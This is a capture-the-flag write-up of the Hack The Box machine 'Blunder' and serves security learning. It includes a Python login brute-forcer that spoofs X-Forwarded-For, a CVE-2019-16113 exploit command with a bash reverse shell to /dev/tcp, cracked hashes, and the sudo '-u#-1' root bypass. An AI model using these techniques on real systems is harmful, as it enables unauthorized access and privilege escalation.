Blunder is a box that starts with a Bludit based blog being used to store random facts and a Sudoers file was configured with the intent to prevent us from running bash as root. It was less than sucessful.
Scanning and Enumeration
We start off with a basic nmap scan.
sudo nmap -sV -sC 10.10.10.191
Starting Nmap 7.80 ( https://nmap.org ) at 2020-06-21 08:44 MDT
Nmap scan report for 10.10.10.191
Host is up (0.11s latency).
Not shown: 998 filtered ports
PORT STATE SERVICE VERSION
21/tcp closed ftp
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
|_http-generator: Blunder
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Blunder | A blunder of interesting facts
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 23.07 seconds
We can see there is FTP on port 21, however that port is closed so there isn’t anything we can do with that. That leaves us with port 80. Seems to be running a web page, a “Blunder of interesting facts”
Navigating to the page itself doesn’t reveal anything that seems useful so it is time to pull out GoBuster.
Other than the main page, GoBuster finds two items of interest. /admin and /todo.txt
/admin is a takes us to a bludit CMS login. We try to find and login with default credentials but are unsuccessful. We are however able to find
the version is Bludit 3.2, which will be useful latter.
We then check out /todo.txt and find some rather helpful information.
-Update the CMS
-Turn off FTP - DONE
-Remove old users - DONE
-Inform fergus that the new blog needs images - PENDING
Foothold
Now we know that FTP being inaccessible is intentional. Old users might be referring to the default login details we tried so also not too helpful. “fergus” though. That is interesting. Maybe that happens to be a username we can use to log in? With no password at hand, we are left to try and bruteforce our way in. Unfortunately, if we just try passwords over and over with our just discovered username we shortly end up blocked. :-(
At this point we start googling and we discover there is in fact a vulnerability in how Bludit detects bruteforcing. (https://rastating.github.io/bludit-brute-force-mitigation-bypass/ ) Specifically, it trusts the Client-IP header of a request to be accurate enabling it to block request from IPs it determines to be malicious. The problem? We can alter that header.
This was patched in a Bludit 3.9.3. However, our target is Bludit 3.9.2 and still vulnerable. Now that we have a way to not get locked out, we just need a wordlist.
We make use of a handy tool called Cewl in order to create a custom wordlist to. We then plug it in to our script and let it loose. (I have removed the wordlist to keep you from having to scroll forever.)
#!/usr/bin/env python3
import re
import requests
host = 'http://10.10.10.191'
login_url = host + '/admin/login'
username = 'fergus'
wordlist = [Custom Wordlist goes here]
# Generate 50 incorrect passwords
for i in range(50):
wordlist.append('Password{i}'.format(i = i))
# Add the correct password to the end of the list
wordlist.append('adminadmin')
for password in wordlist:
session = requests.Session()
login_page = session.get(login_url)
csrf_token = re.search('input.+?name="tokenCSRF".+?value="(.+?)"', login_page.text).group(1)
print('[*] Trying: {p}'.format(p = password))
headers = {
'X-Forwarded-For': password,
'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36',
'Referer': login_url
}
data = {
'tokenCSRF': csrf_token,
'username': username,
'password': password,
'save': ''
}
login_result = session.post(login_url, headers = headers, data = data, allow_redirects = False)
if 'location' in login_result.headers:
if '/admin/dashboard' in login_result.headers['location']:
print()
print('SUCCESS: Password found!')
print('Use {u}:{p} to login.'.format(u = username, p = password))
print()
break
We run the script and not long after, we have password. RolandDeschain
Shell
It’s now time to take a crack at getting a shell. We have credentials which opens the opportunity for us to make use of CVE-2019-16113, which allows for the upload and execution of arbitrary PHP code. There is a Metasploit module however it is also easy enough to find a separate PoC such as this one. https://github.com/cybervaca/CVE-2019-16113
python3 CVE-2019-16113-master/CVE-2019-16113.py -u http://10.10.10.191 -user fergus -pass RolandDeschain -c "bash -c 'bash -i >& /dev/tcp/10.10.14.15/7331 0>&1'"
We catch our shell and attempt to stabilize it. I used PwnCat, which is a cool little project put together by Caleb Stewart and John Hammond. There is a GitHub and a talk recorded from GrimmCon that I highly recommend you check out. https://github.com/calebstewart/pwncat
pwncat -l -p 7331
User.txt
Some quick enumeration shows that we are www-data and don’t seem to have any low hanging fruit in reach. We are able to find user.txt in /home/hugo but we lack the permissions to read it. I got stuck here for a bit. Ran around all over the box, crashed a few shells, ran linpeas, and missed what had been sitting in front my nose the whole time.
All the files to run Bludit are on the box including, the config file that sets up user accounts and login details. /var/www-data//bludit-3.9.2/bl-content/databases/users.php It contains the hash and salt for an admin of the Bludit site.
We copy this hash over to our host and run it through hash identifier. It comes back as sha-1. We spend some time trying to crack it but are unsuccessful.
We got back to enumerating on the box and find a config file for an older version of Bludit. /var/www-data//bludit-3.9.1/bl-content/databases/users.php It contains the hash for the user Hugo, faca404fd5c0a31cf187b823c695c85cffeb98d There is no salt in this case though it is also sha1. How convenient. We run it through crackstation and we get a match. Password120
Seems we have a robust password policy here.
We try to su to hugo and are successful! We claim user.txt and head on to root.
Root.txt
We start some basic enumeration and find that we are specifically not allowed to run /bin/bash as root. Very unfortunate.
(ALL, !root) /bin/bash
However, there is a rather nasty bug. This box has a sudo version vulnerable to CVE-2019-14287. (https://www.exploit-db.com/exploits/47502 ) From the description, “Sudo doesn’t check for the existence of the specified user id and executes the with arbitrary user id with the sudo priv -u#-1 returns as 0 which is root’s id”
We run,
sudo -u#-1 /bin/bash
And just like that we are root.
Mitigation
Here are some things that could have prevented this box form being compromised in a real world scenario.
- First, don’t leave internal files where users can get to them. The ToDo list could have been stored in so many other places on the machine rather than within the web directory.
- Second, is to keep systems patched. This has been said forever and probably will apply to lots of HTB boxes but an updated system could have kept me locked out both from the foothold and the privesc to root.
- Lastly, don’t have shared credentials for accounts (And have a strong password) even those on the same machine. Because the Bludit Admin password was the same as Hugo’s and easy to crack I was able to achieve user permissions.
Wrap up
This was my first HTB Box in about 8 months and I really enjoyed it. Some aspects of the foothold felt a bit guessy and root felt almost too easy. It was about 2 minutes from user to root. Overall though, I enjoyed the box. Thanks to egotisticalSW for creating it.